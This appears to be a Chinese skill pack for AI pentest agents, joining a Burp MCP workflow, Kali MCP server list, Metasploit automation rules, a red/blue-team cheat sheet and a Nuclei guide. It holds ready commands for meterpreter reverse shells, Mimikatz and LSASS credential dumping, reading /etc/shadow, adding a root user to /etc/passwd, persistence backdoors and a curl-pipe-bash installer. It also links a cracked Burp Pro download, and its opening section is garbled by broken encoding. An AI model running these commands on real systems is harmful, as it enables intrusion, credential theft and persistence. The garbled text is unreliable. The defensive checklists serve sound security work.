4. target_info 鈫?璇嗗埆鎶€鏈爤
5. search_history 鈫?鎻愬彇鎵€鏈?API 绔偣
Phase 2: 婕忔礊鎵弿
6. scan_active 鈫?瀵瑰叧閿姹傚仛涓诲姩鎵弿
7. scan_results 鈫?鑾峰彇鑷姩鍙戠幇鐨勬紡娲?
8. 瀵规瘡涓鐐瑰仛鎵嬪姩娴嬭瘯锛圫QLi/XSS/IDOR/SSRF锛?
Phase 3: 婕忔礊鍒╃敤
9. intruder_attack 鈫?瀵圭‘璁ょ殑婕忔礊鍋氭繁搴﹀埄鐢?
10. collaborator_generate + collaborator_poll 鈫?OOB 楠岃瘉
11. repeater_modify_send 鈫?鎵嬪姩楠岃瘉鍜?PoC 鏋勯€?
Phase 4: 鎶ュ憡
12. scan_results + proxy_history 鈫?姹囨€绘墍鏈夊彂鐜?
13. export_request 鈫?瀵煎嚭鍏抽敭璇锋眰涓?curl 鍛戒护
14. generate_csrf_poc 鈫?鐢熸垚 PoC
15. AI 鐢熸垚瀹屾暣娓楅€忔祴璇曟姤鍛?---
涓庡叾浠?Skill 鐨勮仈鍔ㄥ満鏅?
JS 閫嗗悜 + Burp MCP
鍦烘櫙锛氬墠绔?JS 鍔犲瘑浜嗚姹傚弬鏁?
1. js-reverse skill 鈫?鍒嗘瀽鍔犲瘑閫昏緫锛屾彁鍙栧瘑閽?
2. register_http_handler 鈫?娉ㄥ唽鑷姩瑙e瘑/鍔犲瘑瑙勫垯
3. 涔嬪悗鎵€鏈夌粡杩?Burp 鐨勮姹傝嚜鍔ㄨ澶勭悊
4. Intruder/Repeater 鍙互鐩存帴鎿嶄綔鏄庢枃鍙傛暟APK 閫嗗悜 + Burp MCP
鍦烘櫙锛欰ndroid APP 鐨?API 闇€瑕佺鍚?
1. apk-reverse skill 鈫?閫嗗悜绛惧悕绠楁硶
2. register_http_handler 鈫?娉ㄥ唽鑷姩绛惧悕瑙勫垯
3. 鎵€鏈夎姹傝嚜鍔ㄥ甫姝g‘绛惧悕
4. 鍙互鑷敱淇敼鍙傛暟鍋氭祴璇?娴忚鍣ㄨ嚜鍔ㄥ寲 + Burp MCP
鍦烘櫙锛氶渶瑕佽嚜鍔ㄥ寲娴忚缃戠珯鍚屾椂鍒嗘瀽娴侀噺
1. browser-automation skill 鈫?Playwright 鑷姩娴忚
2. 娴忚鍣ㄨ缃?Burp 浠g悊
3. 鑷姩鍖栧畬鎴愬悗 鈫?proxy_history 鑾峰彇鎵€鏈夋祦閲?
4. AI 鍒嗘瀽鎵€鏈夎姹傛壘婕忔礊IDA 閫嗗悜 + Burp MCP
鍦烘櫙锛氬垎鏋愪竴涓?Web 搴旂敤鐨勫悗绔簩杩涘埗
1. 閫氳繃 Burp 鎶撳埌 API 璇锋眰鏍煎紡
2. ida-reverse skill 鈫?閫嗗悜鍚庣澶勭悊閫昏緫
3. 鍙戠幇鍐呭瓨婧㈠嚭/閫昏緫婕忔礊
4. 鍥炲埌 Burp 鈫?鏋勯€犲埄鐢?payload---
鐢ㄦ埛鏈畨瑁?BurpSuite 鏃剁殑寮曞
褰?AI 妫€娴嬪埌 http://127.0.0.1:9876/health 鏃犲搷搴旀椂锛岃緭鍑轰互涓嬪紩瀵硷細
鈿狅笍 **BurpSuite MCP 鏈嶅姟涓嶅彲鐢?*
**涓嬭浇瀹夎 BurpSuite Pro**锛?
- Windows锛堟眽鍖栦竴閿惎鍔ㄧ増锛夛細https://www.52pojie.cn/thread-2005151-1-1.html
- Linux / Kali锛歚sudo apt install burpsuite` 鎴栦粠 https://portswigger.net/burp/releases 涓嬭浇 .jar
- macOS锛氫粠 https://portswigger.net/burp/releases 涓嬭浇 .dmg
**瀹夎姝ラ锛圵indows锛?*锛?
1. 涓嬭浇瑙e帇鍒颁换鎰忕洰褰曪紙璺緞涓嶈鏈変腑鏂囷級
2. 鍙屽嚮 `Burp Suite_CN.bat` 鍚姩
3. 鎸夋彁绀哄畬鎴愭縺娲?
**瀹夎姝ラ锛圠inux/Kali锛?*锛?
1. `java -jar burpsuite_pro.jar` 鍚姩
2. 鎴栦娇鐢?Kali 棰勮鐗堬細Applications 鈫?Web Application Analysis 鈫?Burp Suite
**鍔犺浇 MCP 鎵╁睍**锛?
1. 缂栬瘧锛堜粎棣栨锛夛細
- Windows: 鍙屽嚮 `<SKILL_ROOT>\burp-mcp-full\build.bat`
- Linux/macOS: `cd <SKILL_ROOT>/burp-mcp-full && chmod +x build.sh && ./build.sh`
2. 鎵撳紑 Burp 鈫?Extensions 鈫?Installed 鈫?Add
3. Extension Type: Java
4. Select file: `<SKILL_ROOT>/burp-mcp-full/build/libs/burp-mcp-full.jar`
5. 鐪嬪埌 `[MCP] Server started on http://127.0.0.1:9876` 鍗虫垚鍔?
**閰嶇疆 MCP 瀹㈡埛绔?*锛?
鍦ㄤ綘鐨?AI 瀹㈡埛绔?MCP 閰嶇疆涓坊鍔狅細{ "mcpServers": { "burpsuite": { "command": "node", "args": ["<SKILL_ROOT>/burp-mcp-full/mcp-bridge.js"] } } }
> 灏?`<SKILL_ROOT>` 鏇挎崲涓烘湰鍖呭疄闄呰矾寰勩€俉indows 鐢?`\\`锛孡inux/macOS 鐢?`/`銆?
**楠岃瘉**锛?curl http://127.0.0.1:9876/health
搴旇繑鍥?{"status":"ok","version":"2.0.0","tools":[...]}
**瀹夎瀹屾垚鍚庡憡璇夋垜锛屾垜缁х画褰撳墠浠诲姟銆?*---
甯歌闂
Q: 绔彛 9876 琚崰鐢ㄦ€庝箞鍔烇紵
淇敼 BurpMcpExtension.java 涓殑绔彛鍙凤紝閲嶆柊缂栬瘧銆傛垨鍏抽棴鍗犵敤绔彛鐨勭▼搴忋€?
Q: 鎵╁睍鍔犺浇澶辫触锛?
纭 Burp 浣跨敤鐨?Java 鐗堟湰 鈮?21銆傛湰鎵╁睍鐢?JDK 21 缂栬瘧銆?
Q: 鍝嶅簲鏄姞瀵嗙殑鎬庝箞鍔烇紵
鐢?extract_from_response + 澶栭儴瑙e瘑鑴氭湰澶勭悊銆傛垨鍦?register_http_handler 涓敞鍐岃嚜鍔ㄨВ瀵嗚鍒欍€?
Q: Intruder 鏀诲嚮澶參锛?
浣跨敤 intruder_attack_async 骞惰缃?threads: 100+銆傛敞鎰忎笉瑕佹墦宕╃洰鏍囥€?
Q: 濡備綍閰嶅悎浠g悊姹犱娇鐢紵
璋冪敤 set_upstream_proxy 璁剧疆涓婃父浠g悊涓?ProxyCat 鐨勭鍙o紝瀹炵幇 IP 杞崲銆?
Kali Linux MCP 生态系统(2026 年)
来源:多个 GitHub 项目 + Kali 官方仓库(2025-2026)
适用场景:在 Kali 上通过 MCP 协议让 AI agent 直接调用安全工具
概述
MCP(Model Context Protocol)已成为 AI agent 调用安全工具的标准协议。Kali Linux 从 2025.4 开始官方收录 MCP 工具,2026.1 进一步扩展。以下是当前生态中最有价值的 MCP server。
Kali 官方收录的 MCP 工具
1. mcp-kali-server(官方推荐)
- 包名:
mcp-kali-server - 安装:
apt install mcp-kali-server - 来源:Wh0am123/MCP-Kali-Server
- 功能:轻量 API 桥接,连接 MCP 客户端到 Kali 终端
- 能力:运行 nmap、nxc、curl、wget、gobuster 等任意终端命令
- 用途:AI 辅助渗透测试、CTF 解题、HTB/THM 靶机
- 启动:
kali-server-mcp --port 5000 # 启动 API server
mcp-server --server http://localhost:5000 # 连接 MCP 客户端2. MetasploitMCP
- 包名:
metasploitmcp - 安装:
apt install metasploitmcp - 来源:GH05TCREW/MetasploitMCP
- 功能:Metasploit Framework 的 MCP 接口
- 传输模式:HTTP(默认 8085)或 stdio
- 启动:
metasploitmcp --transport stdio # stdio 模式(推荐)
metasploitmcp --transport http --port 8085 # HTTP 模式3. HexStrike AI
- 包名:
hexstrike-ai - 安装:
apt install hexstrike-ai - 来源:0x4m4/hexstrike-ai
- 功能:150+ 安全工具通过 MCP 暴露给 AI agent
- 特点:多 agent 架构,自动化渗透测试、漏洞发现、Bug Bounty
社区 MCP Server(非官方但高质量)
4. Pentest Swarm AI
- 安装:
go install github.com/Armur-Ai/Pentest-Swarm-AI/cmd/pentestswarm@latest - 来源:Armur-Ai/Pentest-Swarm-AI
- 功能:群体智能渗透框架,stigmergic blackboard 协调多 agent
- MCP 模式:
pentestswarm mcp serve - 特点:真正的 swarm 架构(非流水线),pheromone 衰减机制
5. awsome_kali_MCPServers
- 来源:ccq1/awsome_kali_MCPServers
- 功能:专为 Kali 设计的 MCP server 集合
- 覆盖:网络分析、目标嗅探、流量分析、二进制理解、自动化
- 特点:面向逆向工程和安全测试的 AI 工作流
6. Pentest-Agent
- 来源:0xJaeg3r/Pentest-Agent
- 功能:AI 驱动的渗透测试 agent
- 工具:nmap、gobuster、nikto、sqlmap、hydra、john、metasploit、enum4linux、wpscan
- 架构:基于 agno 框架,CLI + FastAPI server
7. pentestMCP
- 来源:RamKansal/pentestMCP
- 功能:专为渗透测试设计的 MCP server
- 特点:Docker 化部署,20+ 工具集成
MCP 使用优先级建议
根据场景选择最合适的 MCP:
| 场景 | 推荐 MCP | 原因 |
|---|---|---|
| 通用终端操作 | mcp-kali-server | 可调用任意命令 |
| Metasploit 专用 | metasploitmcp | exploit/payload/session 管理 |
| 大规模自动化 | hexstrike-ai | 150+ 工具编排 |
| 群体渗透/Bug Bounty | pentestswarm | swarm 架构,适合大目标 |
| 逆向工程 | awsome_kali_MCPServers | 专注二进制和流量分析 |
| 快速单目标 | pentest-agent | 简单直接 |
MCP 配置示例(Claude Code / Kiro)
{
"mcpServers": {
"kali-server": {
"command": "kali-server-mcp",
"args": ["--port", "5000"]
},
"metasploit-mcp": {
"command": "metasploitmcp",
"args": ["--transport", "stdio"]
},
"hexstrike": {
"command": "hexstrike-ai",
"args": []
},
"pentestswarm": {
"command": "pentestswarm",
"args": ["mcp", "serve"]
}
}
}参考资料
- Kali & LLM: Claude Desktop 集成(Kali 官方博客)
- Kali & LLM: Ollama + 5ire 本地运行(Kali 官方博客)
- Automating Penetration Testing via MCP-Kali-Server(Medium)
Metasploit 调用陷阱与正确姿势
借鉴自 PentAGI 多 agent 系统在大规模自动化调用 Metasploit 时踩过的坑。
msfconsole 是渗透阶段最容易把整条命令链卡死的工具。下面是全部已知陷阱 + 正确模式,让 AI 自动化调用 MSF 时不会变成"无脑挂死的怪物"。
6 大常见错误
| 错误 | 现象 | 后果 |
|---|---|---|
1. 不带 -x 直接跑 | msfconsole | 进入交互模式,永远等输入 |
2. 命令链不带 ;exit | msfconsole -x "exploit" | 永远不退出,孤儿进程 |
| 3. 拆多次 console 调用 | 想用 sessions 但每次都新开 | 进程隔离,看不到上次的 session |
| 4. 多余的 handler | 同时用 exploit/multi/handler | exploit 命令本身已经包含 handler,重复占端口 |
| 5. 不查端口直接监听 | 直接 set LPORT 4444 | 端口被占用 → bind 失败 |
| 6. 孤儿进程不清理 | 多次卡死后忘了 kill | ps aux 一堆 ruby 进程 |
三种正确模式
模式 A:单次独立调用(推荐 80% 场景)
把所有操作塞一个 -x 里,最后必带 ;exit。
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST {callback_ip}; set LPORT {allocated_port}; exploit; sleep 20; sessions -l; exit"要点:
-q:quiet,少输出,省 token-x "...":直接执行,不进交互; exit:必须最后一条sleep 20:给 reverse shell 留连接时间sessions -l:列出当前 session(在同一进程里,能看到)- 调用方设
detach=false,timeout=120+,等命令真正完成
模式 B:RPC daemon(复杂工作流)
需要在多次调用之间保持 session 状态时用:
# Step 1: 先查端口
netstat -tulnp | grep 55553
# Step 2: 启动 RPC daemon,detach=true(让它独立活着)
msfrpcd -P pass -U user -a 127.0.0.1 -p 55553
# Step 3: 客户端连接,detach=false
msfconsole -q -x "connect 127.0.0.1:55553 user pass; use exploit/...; exploit; exit"
# Step 4: 之后再连,能看到同一批 sessions
msfconsole -q -x "connect 127.0.0.1:55553 user pass; sessions -l; sessions -i 1 -c 'whoami'; exit"要点:
- 启动前必须先查端口
- daemon 用
detach=true、timeout=600+ - client 用
detach=false、各自有自己的合理 timeout - 任务结束记得
pkill -f msfrpcd
模式 C:一次性批量利用(无 session 需求)
只想跑个 exploit / aux 模块拿结果,不需要 meterpreter session:
msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set RHOSTS {target_ip}; set USER_FILE /tmp/users.txt; set PASS_FILE /tmp/passes.txt; run; exit"要点:
- 用
run不用exploit(aux 模块习惯) - 输出全在 stdout,命令结束后一次性拿到
detach 参数选择
PentAGI 的执行器对终端调用有 detach 参数:
| detach | 用途 | 何时用 |
|---|---|---|
false | 等命令完成,返回 stdout | 模式 A、模式 C、所有 client 调用 |
true | 命令在后台跑,500ms 后立即返回 | msfrpcd / nc -l / python -m http.server / tcpdump |
错用的后果:
- 该 detach 的没 detach → daemon 跑到 timeout 被 kill,client 第二次连不上
- 不该 detach 的 detach 了 → 拿不到 stdout,不知道 exploit 结果
实战诊断命令
执行 MSF 出现异常时,先跑这三条:
# 1. 查 ruby 进程(msfconsole / msfrpcd 都是 ruby)
ps aux | grep -E "msfconsole|msfrpcd|ruby"
# 2. 查相关端口
netstat -tulnp | grep -E ":4444|:55553|:8080"
# 3. 清理孤儿(确认要 kill 再执行)
pkill -f msfconsole
pkill -f msfrpcd在 Skills router 里如何让 AI 用上
把这套规则补到 pentest-tools/SKILL.md 或单独的 pentest-tools/references/msf-protocol.md,确保 AI 在生成 MSF 命令前先读到。
最简洁的硬规则版本(直接抄到 RULES.md 或 skill 的 SKILL.md):
### MSF 调用硬规则
- 永远不要直接跑 `msfconsole`,必须用 `-x "..."`
- `-x` 字符串末尾必须 `;exit`
- 启动监听前必须 `netstat -tulnp | grep [PORT]`
- 不需要单独 `exploit/multi/handler`,`exploit` 命令已含 handler
- 多步操作合并到一个 `-x` 里,不要拆多次 console 调用
- 需要保持 session 跨调用 → 切到 msfrpcd 模式
- 失败后用 `ps aux | grep msfconsole` 查孤儿,`pkill -f msfconsole` 清理输出最小化技巧
MSF 输出极冗长,直接喂给 LLM 浪费 token。优化点:
-q:quiet 模式(必加)set ConsoleLogging falseset LogLevel 0- 解析 sessions 时用
sessions -l而不是sessions -v - exploit 完成后只看关键行:
exploit | grep -E "session|opened|fail"
与 OOB 攻击的配合
涉及反弹 shell / DNS exfil / SSRF OOB 时:
- LPORT 必须在用户分配的端口范围内(PentAGI 用容器 port forwarding,必须用宿主机已转发的端口)
- 公网 IP 不知道时:
curl -s https://api.ipify.org - 测试连通性:
nc -zv {callback_ip} {port}在外部跑,看是否能到容器
反模式实例
# ❌ 直接跑 console
msfconsole
# ❌ 没 exit
msfconsole -x "exploit"
# ❌ 拆开调用
msfconsole -x "use exploit/...; set ...; run; exit"
msfconsole -x "sessions -l; exit" # 看不到上一步的 session
# ❌ 重复 handler
msfconsole -x "use exploit/multi/handler; set ...; exploit -j; use exploit/...; exploit; exit"
# ❌ 不查端口
msfconsole -x "use exploit/multi/handler; set LPORT 4444; exploit; exit"
# → 如果 4444 被占,bind error,但 console 已经退了,看不到原因与 field-journal 的协作
每次用 MSF 完成任务,回写时记一条:
## MSF 调用模式
- 模式:A 单次 / B RPC / C 批量
- 端口冲突:是 / 否(如何解决)
- 孤儿进程:是 / 否(清理命令)
- 关键参数:LHOST / LPORT / PAYLOAD 的最终值(脱敏)这样下次同类任务能直接复用配置。
网络攻击与防御速查
覆盖网络层攻击技术、内网渗透、横向移动、权限提升、持久化、以及对应的防御检测方法。
面向红队攻击和蓝队防御双视角。
---
网络侦察
主动侦察
# 端口扫描(Nmap)
nmap -sV -sC -O -p- target # 全端口+服务+OS
nmap -sU --top-ports 100 target # UDP 扫描
nmap --script vuln target # 漏洞脚本扫描
nmap -sn 192.168.1.0/24 # 存活主机发现
# 快速扫描(Masscan)
masscan -p1-65535 target --rate=10000 # 高速全端口
masscan -p80,443,8080 0.0.0.0/0 --rate=100000 # 全网特定端口
# 服务指纹
nmap -sV --version-intensity 5 target被动侦察
# DNS 信息
dig target.com ANY
dig target.com AXFR @ns1.target.com # 区域传送
host -t mx target.com
nslookup -type=TXT target.com
# 证书透明度
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value'
# WHOIS
whois target.com
# Shodan/Censys/FOFA
shodan search "hostname:target.com"防御检测
□ IDS/IPS 规则:检测端口扫描模式(SYN flood、半开连接)
□ 防火墙日志:异常源 IP 的大量连接尝试
□ 蜜罐:部署在非业务端口,检测扫描行为
□ 网络流量基线:偏离正常流量模式的告警---
内网渗透
初始访问后信息收集
# Windows 内网信息
ipconfig /all
net user /domain
net group "Domain Admins" /domain
nltest /dclist:
systeminfo
tasklist /v
netstat -ano
# Linux 内网信息
ifconfig / ip addr
cat /etc/passwd
cat /etc/shadow
ss -tlnp
ps aux
find / -perm -4000 2>/dev/null # SUID 文件横向移动
| 技术 | 工具 | 命令 |
|---|---|---|
| Pass-the-Hash | Impacket | psexec.py -hashes :NTLM_HASH admin@target |
| Pass-the-Ticket | Mimikatz | kerberos::ptt ticket.kirbi |
| WMI 执行 | Impacket | wmiexec.py admin:pass@target "whoami" |
| SMB 执行 | Impacket | smbexec.py admin:pass@target |
| WinRM | Evil-WinRM | evil-winrm -i target -u admin -p pass |
| RDP | xfreerdp | xfreerdp /v:target /u:admin /p:pass |
| SSH 隧道 | ssh | ssh -L 8080:internal:80 user@pivot |
| SOCKS 代理 | Chisel | chisel server -p 8080 --socks5 |
防御检测
□ 监控异常登录:非工作时间、异常源 IP、失败次数
□ 检测 PtH:Event ID 4624 Type 3 + NTLM 认证
□ 检测横向移动:Event ID 4648(显式凭证登录)
□ 网络分段:限制工作站间直接通信
□ LAPS:本地管理员密码随机化
□ 特权访问工作站(PAW):隔离管理操作---
权限提升
Windows 提权
| 技术 | 检测/利用 |
|---|---|
| 未引用服务路径 | `wmic service get name,pathname \ |
| 弱服务权限 | accesschk.exe -uwcqv "Authenticated Users" * |
| AlwaysInstallElevated | reg query HKLM\...\Installer /v AlwaysInstallElevated |
| 令牌模拟 | whoami /priv → SeImpersonatePrivilege → Potato |
| DLL 劫持 | Process Monitor 监控 DLL 加载失败 |
| 计划任务 | schtasks /query /fo LIST /v |
| 自动运行 | reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Linux 提权
| 技术 | 检测/利用 |
|---|---|
| SUID 二进制 | find / -perm -4000 2>/dev/null → GTFOBins |
| sudo 配置 | sudo -l → 可利用的 NOPASSWD 命令 |
| Cron 任务 | cat /etc/crontab + ls -la /etc/cron.* |
| 内核漏洞 | uname -r → searchsploit |
| 可写 /etc/passwd | echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd |
| Docker 逃逸 | docker run -v /:/host --privileged |
| Capabilities | getcap -r / 2>/dev/null |
自动化工具
# Windows
winPEAS.exe
PowerUp.ps1 → Invoke-AllChecks
Seatbelt.exe -group=all
# Linux
linpeas.sh
linux-exploit-suggester.sh
pspy # 监控进程(无需 root)防御检测
□ 最小权限原则:服务账户不给管理员权限
□ 定期审计 SUID/sudo/计划任务
□ 监控特权操作:Event ID 4672(特殊权限分配)
□ 应用白名单:AppLocker / WDAC
□ 内核补丁:及时更新---
凭证获取
Windows 凭证
# Mimikatz
sekurlsa::logonpasswords # 内存中的明文密码
sekurlsa::wdigest # WDigest 密码
lsadump::sam # SAM 数据库
lsadump::dcsync /user:admin # DCSync 攻击
# 注册表
reg save HKLM\SAM sam.hiv
reg save HKLM\SYSTEM system.hiv
# → secretsdump.py -sam sam.hiv -system system.hiv LOCAL
# LSASS Dump
procdump.exe -ma lsass.exe lsass.dmp
# → pypykatz lsa minidump lsass.dmpKerberos 攻击
| 攻击 | 工具 | 说明 |
|---|---|---|
| Kerberoasting | Impacket | GetUserSPNs.py domain/user:pass -dc-ip DC |
| AS-REP Roasting | Impacket | GetNPUsers.py domain/ -usersfile users.txt |
| Golden Ticket | Mimikatz | 需要 krbtgt hash |
| Silver Ticket | Mimikatz | 需要服务账户 hash |
| Delegation 滥用 | Impacket | 约束/非约束委派利用 |
防御检测
□ 启用 Credential Guard(保护 LSASS)
□ 禁用 WDigest(防止明文密码缓存)
□ 监控 LSASS 访问:Sysmon Event ID 10
□ 检测 Kerberoasting:Event ID 4769 + RC4 加密
□ 检测 DCSync:Event ID 4662 + DS-Replication-Get-Changes
□ 强密码策略 + MFA
□ 定期轮换 krbtgt 密码---
持久化
Windows 持久化
| 技术 | 位置/方法 |
|---|---|
| 注册表 Run 键 | HKCU\...\Run |
| 计划任务 | schtasks /create |
| 服务 | sc create |
| WMI 事件订阅 | __EventFilter + CommandLineEventConsumer |
| DLL 劫持 | 替换合法 DLL |
| COM 劫持 | 修改 CLSID 注册表 |
| Startup 文件夹 | %APPDATA%\...\Startup\ |
| Golden Ticket | krbtgt hash → 永久域访问 |
Linux 持久化
| 技术 | 位置/方法 |
|---|---|
| Cron 任务 | /etc/crontab、/var/spool/cron/ |
| SSH 密钥 | ~/.ssh/authorized_keys |
| bashrc/profile | ~/.bashrc 添加反弹 shell |
| Systemd 服务 | /etc/systemd/system/ |
| LD_PRELOAD | /etc/ld.so.preload |
| PAM 后门 | 修改 pam_unix.so |
| Rootkit | 内核模块 / eBPF |
防御检测
□ 监控自启动位置变更(Autoruns / osquery)
□ 文件完整性监控(AIDE / Tripwire / Sysmon)
□ 定期审计计划任务和服务
□ 检测异常 SSH 密钥添加
□ EDR 行为检测:异常进程创建链
□ 网络检测:异常外连(C2 通信特征)---
C2 通信与检测
常见 C2 框架
| 框架 | 特点 | 检测难度 |
|---|---|---|
| Cobalt Strike | 商业级,Beacon 协议 | 中(有签名) |
| Sliver | 开源,Go 编写 | 中 |
| Havoc | 现代 C2,规避能力强 | 高 |
| Mythic | 模块化,多 Agent | 中 |
| Metasploit | 经典,Meterpreter | 低(签名多) |
C2 通信检测
□ DNS 隧道:异常长域名、高频 TXT 查询、非常规子域名
□ HTTP C2:固定间隔请求、异常 User-Agent、非标准端口 HTTPS
□ 域前置:CDN 域名但实际通信到 C2
□ 加密流量分析:JA3/JA3S 指纹、证书异常
□ 行为检测:进程注入、异常父子进程关系
□ 内存检测:无文件恶意代码(反射 DLL、shellcode)---
防御体系建设
网络层
□ 网络分段(VLAN + 防火墙规则)
□ 零信任架构(不信任内网流量)
□ IDS/IPS 部署(Suricata / Snort)
□ 全流量记录(Zeek / Arkime)
□ DNS 安全(DNS over HTTPS + 恶意域名拦截)
□ 出口流量监控(检测 C2 外连)终端层
□ EDR 部署(CrowdStrike / Defender for Endpoint / Elastic)
□ 应用白名单(AppLocker / WDAC)
□ 补丁管理(WSUS / SCCM)
□ 最小权限(移除本地管理员)
□ 日志集中(Sysmon + Windows Event Forwarding)
□ 磁盘加密(BitLocker)身份层
□ MFA 全覆盖(特别是 VPN/RDP/管理后台)
□ 特权访问管理(PAM)
□ 条件访问策略
□ 密码策略(长度 > 复杂度)
□ 服务账户管理(gMSA)
□ 定期凭证轮换检测与响应
□ SIEM 部署(Splunk / Elastic / Sentinel)
□ SOAR 自动化响应
□ 威胁情报集成(MISP / OpenCTI)
□ 红蓝对抗演练
□ 应急响应预案(IR Playbook)
□ 取证能力(内存取证 + 磁盘取证 + 网络取证)---
MITRE ATT&CK 映射
| 战术 | 本文覆盖的技术 |
|---|---|
| Reconnaissance | 端口扫描、DNS 枚举、证书透明度 |
| Initial Access | Web 漏洞利用、钓鱼、暴力破解 |
| Execution | 命令注入、WMI、PowerShell |
| Persistence | 注册表、计划任务、SSH 密钥、服务 |
| Privilege Escalation | SUID、Potato、内核漏洞、DLL 劫持 |
| Defense Evasion | 进程注入、无文件、混淆 |
| Credential Access | Mimikatz、Kerberoasting、DCSync |
| Discovery | 内网信息收集、AD 枚举 |
| Lateral Movement | PtH、WMI、SMB、RDP |
| Collection | 数据库导出、文件收集 |
| C2 | HTTP/DNS 隧道、域前置 |
| Exfiltration | DNS 外带、HTTP 上传、云存储 |
---
工具速查
| 工具 | 用途 | 链接 |
|---|---|---|
| Nmap | 端口扫描 | https://nmap.org/ |
| Impacket | Windows 协议利用 | https://github.com/fortra/impacket |
| Mimikatz | 凭证提取 | https://github.com/gentilkiwi/mimikatz |
| BloodHound | AD 攻击路径 | https://github.com/BloodHoundAD/BloodHound |
| CrackMapExec | 内网瑞士军刀 | https://github.com/byt3bl33d3r/CrackMapExec |
| Chisel | TCP 隧道 | https://github.com/jpillora/chisel |
| Ligolo-ng | 隧道代理 | https://github.com/nicocha30/ligolo-ng |
| Evil-WinRM | WinRM Shell | https://github.com/Hackplayers/evil-winrm |
| LinPEAS/WinPEAS | 提权枚举 | https://github.com/carlospolop/PEASS-ng |
| Responder | LLMNR/NBT-NS 毒化 | https://github.com/lgandx/Responder |
| Kerbrute | Kerberos 枚举 | https://github.com/ropnop/kerbrute |
| Rubeus | Kerberos 攻击 | https://github.com/GhostPack/Rubeus |
Nuclei 实战指南(2026 版)
来源:ProjectDiscovery 官方文档 + nuclei-templates(2026)
适用场景:漏洞扫描、自定义检测模板编写、Bug Bounty 自动化
概述
Nuclei 是基于模板的快速漏洞扫描器。截至 2026 年:
- 9000+ 社区模板
- 100,000+ 安全工程师贡献
- 支持 HTTP/DNS/TCP/SSL/文件/代码等多种协议
- 已集成到 Kali 官方仓库(
apt install nuclei)
快速使用
# 安装(Kali)
apt install nuclei
# 或最新版
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# 更新模板
nuclei -update-templates
# 基础扫描
nuclei -u https://target.com
# 指定严重级别
nuclei -u https://target.com -severity critical,high
# 指定模板类别
nuclei -u https://target.com -tags cve,sqli,xss,ssrf
# 批量目标
nuclei -l urls.txt -severity critical,high -o results.txt
# 配合 httpx 使用(推荐)
cat subdomains.txt | httpx -silent | nuclei -severity critical,high自定义模板编写
基础结构
id: custom-check-id
info:
name: Custom Vulnerability Check
author: your-name
severity: high
description: Description of what this checks
tags: custom,webapp
http:
- method: GET
path:
- "{{BaseURL}}/vulnerable-endpoint"
matchers:
- type: word
words:
- "sensitive_data"
condition: and
- type: status
status:
- 200最佳实践
1. ID 命名:使用 vendor-product-vulnerability 格式 2. 严重级别:严格按 CVSS 评分对应(critical/high/medium/low/info) 3. Matcher 精确:避免误报,组合多个 matcher 4. 提取器:用 extractor 提取关键证据 5. 条件组合:用 condition: and 减少误报
高级模板示例(SSTI 检测)
id: ssti-detection
info:
name: Server-Side Template Injection
author: security-team
severity: high
tags: ssti,injection
http:
- method: GET
path:
- "{{BaseURL}}/?q={{url_encode('{{7*7}}')}}"
- "{{BaseURL}}/?search={{url_encode('${7*7}')}}"
matchers:
- type: word
words:
- "49"
part: body
extractors:
- type: regex
regex:
- "49"
part: body与 AI 结合使用
AI 生成 Nuclei 模板
当发现新漏洞模式时,可以让 AI 自动生成 Nuclei 模板:
用户:我发现 /api/v1/users 端点存在 IDOR,通过修改 user_id 参数可以访问其他用户数据
AI:[生成对应的 Nuclei 模板]Pentest Swarm AI 集成
Pentest Swarm AI 原生集成 Nuclei,在 swarm 模式下: 1. Recon agent 发现子域名和端点 2. Classifier agent 用 Nuclei 模板扫描 3. 高 pheromone 的发现触发 Exploit agent
推荐模板仓库
| 仓库 | 内容 | 链接 |
|---|---|---|
| projectdiscovery/nuclei-templates | 官方 9000+ 模板 | GitHub |
| 0xKayala/Custom-Nuclei-Templates | 社区精选 | GitHub |
| emadshanab/Nuclei-Templates-Collection | 大型集合 | GitHub |
常用命令速查
# 扫描单个目标
nuclei -u https://target.com -severity critical,high
# 使用自定义模板
nuclei -u https://target.com -t ~/custom-templates/
# 输出 JSON(便于后续处理)
nuclei -u https://target.com -json -o results.json
# 限速(避免被 WAF 拦截)
nuclei -u https://target.com -rate-limit 10 -bulk-size 5
# 使用代理
nuclei -u https://target.com -proxy http://127.0.0.1:8080
# 排除特定模板
nuclei -u https://target.com -exclude-tags dos,fuzz
# 新模板检测(只跑最近添加的)
nuclei -u https://target.com -new-templates
# 配合 subfinder + httpx 全流程
subfinder -d target.com -silent | httpx -silent | nuclei -severity critical,high -o report.txtpentest-ai-agents 覆盖矩阵
参考自 0xSteph/pentest-ai-agents(1.3k stars,MIT)
35 个 Claude Code 渗透子 agent 的能力映射。可作为我们 pentest-tools skill 的方法论参考。
---
安装方式(外部可选)
curl -fsSL https://raw.githubusercontent.com/0xSteph/pentest-ai-agents/main/install.sh | bash或者只参考其 prompt 模式,不实际安装。
---
Agent 覆盖矩阵
攻击类(Tier 1 咨询 + Tier 2 执行)
| Agent | 覆盖领域 | 核心工具 | 对应我们的 skill |
|---|---|---|---|
| engagement-planner | 渗透计划/ROE/ATT&CK 映射 | — | pentest-tools |
| recon-advisor | 信息收集/目标优先级 | nmap, masscan, subfinder, httpx | pentest-tools |
| osint-collector | OSINT/邮箱/社交/泄露 | theHarvester, sherlock, holehe | pentest-tools |
| vuln-scanner | 漏洞扫描 | nuclei, nikto, RouterSploit | pentest-tools |
| web-hunter | Web 渗透 | ffuf, sqlmap, dalfox, Commix | pentest-tools |
| api-security | API 安全 | OWASP API Top 10, JWT, OAuth | pentest-tools / js-reverse |
| ad-attacker | AD 攻击 | BloodHound, Impacket, Certipy | pentest-tools |
| credential-tester | 密码破解 | Hashcat, John, Hydra, CeWL | pentest-tools |
| cloud-security | 云渗透 | aws/az/gcloud, Prowler, Pacu | pentest-tools |
| mobile-pentester | 移动端 | Frida, Objection, jadx, MobSF | apk-reverse |
| wireless-pentester | 无线 | aircrack-ng, bettercap, wifite | pentest-tools |
| social-engineer | 社工 | GoPhish, Evilginx | pentest-tools |
| payload-crafter | Payload 生成 | msfvenom, Donut | pentest-tools |
| reverse-engineer | 逆向 | Ghidra, Radare2, JadX, Binwalk | ida-reverse / radare2 |
